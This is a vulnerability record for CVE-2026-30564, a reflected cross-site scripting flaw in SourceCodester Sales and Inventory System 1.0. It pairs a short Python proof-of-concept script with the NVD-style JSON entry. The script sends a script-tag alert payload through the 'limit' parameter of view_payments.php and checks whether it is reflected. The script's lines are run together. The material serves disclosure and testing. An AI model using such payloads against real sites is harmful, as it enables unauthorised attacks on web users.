CVE-2026-30564

# Proof of Concept for CVE-2026-30564 # Vulnerable Parameter: limit in view_payments.php import requests def check_xss(target_url): # The payload attempts to execute a simple JavaScript alert xss_payload = "<script>alert('CVE-2026-30564_XSS')</script>" # Construct the full URL with the vulnerable parameter params = { "limit": xss_payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected in the response body if xss_payload in response.text: print("[+] Vulnerability Detected! Payload reflected in response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Payload not reflected. System might be patched or filtering input.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost/Inventory-System/view_payments.php" check_xss(target)

{"cve": {"id": "CVE-2026-30564", "sourceIdentifier": "[email protected]", "published": "2026-03-30T15:16:26.590", "lastModified": "2026-04-01T17:46:39.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the view_payments.php file via the \"limit\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en SourceCodester Sales and Inventory System 1.0. La vulnerabilidad se encuentra en el archivo view_payments.php a través del parámetro 'limit'. La aplicación no logra sanear la entrada, permitiendo a atacantes remotos inyectar scripts web o HTML arbitrarios a través de una URL manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5A75B7A5-65D7-4AF9-BDE8-EBD496A4942B"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewPayments-limit.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}